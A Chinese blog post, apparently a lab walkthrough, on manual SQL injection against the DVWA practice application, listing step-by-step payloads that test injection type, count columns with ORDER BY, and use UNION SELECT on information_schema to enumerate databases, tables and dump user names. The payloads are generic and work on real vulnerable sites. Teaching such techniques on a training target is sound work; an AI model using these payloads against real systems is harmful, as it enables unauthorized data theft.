DVWA之php+mysql手工注入

版权声明:孤 https://blog.csdn.net/Wu000999/article/details/83117616

DVWA 页面
在这里插入图片描述

输入user ID ,输入 1。看到如下信息

在这里插入图片描述

在此点尝试注入,输入‘ ’ ’,判断其注入类型。
在这里插入图片描述

初步判断是数字型注入,在输入 " 1 or 1=1 ",尝试遍历数据表
在这里插入图片描述

判断字符型:" 1’ or ‘1’='1 "

在这里插入图片描述

利用 order by num 来测试查询表的列, 输入: " 1’ order by 1 – "(–后有空格)或者 " 1’ order by 1 ## "
在这里插入图片描述
在这里插入图片描述

当为2时正确显示,为3时错误,我们判断有2列

在mysql中

user ( )  : 	当前登陆的用户
database ( ) :	当前数据库名
version ( ):	数据库版本

用union联合查询,查询其信息。注入语法: " 1’ and 1=2 union select user(), database() – "(–后有空格)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

用SQL中的全局变量 " @@global.version_compile_os "来获得操作系统的信息
在这里插入图片描述

查询mysql数据库所有的数据库名字。语法: " 1’ and 1=1 union select 1,schema_name from information_schema.schemata – "

在这里插入图片描述

输出所有表名 " 1’ union select null,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ # "

在这里插入图片描述

然后通过手工注入猜解dvwa数据库表名,语法: " 1’ and exists(select * from users) – "

在这里插入图片描述

再猜解字段名,语法: " 1’ and exists(select first_name from users) – "
在这里插入图片描述

在这里插入图片描述

尝试显示这两个字段的内容,语法:" 1 ’ and 1=1 union select first_name,last_name from users – "

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Wu000999/article/details/83117616
今日推荐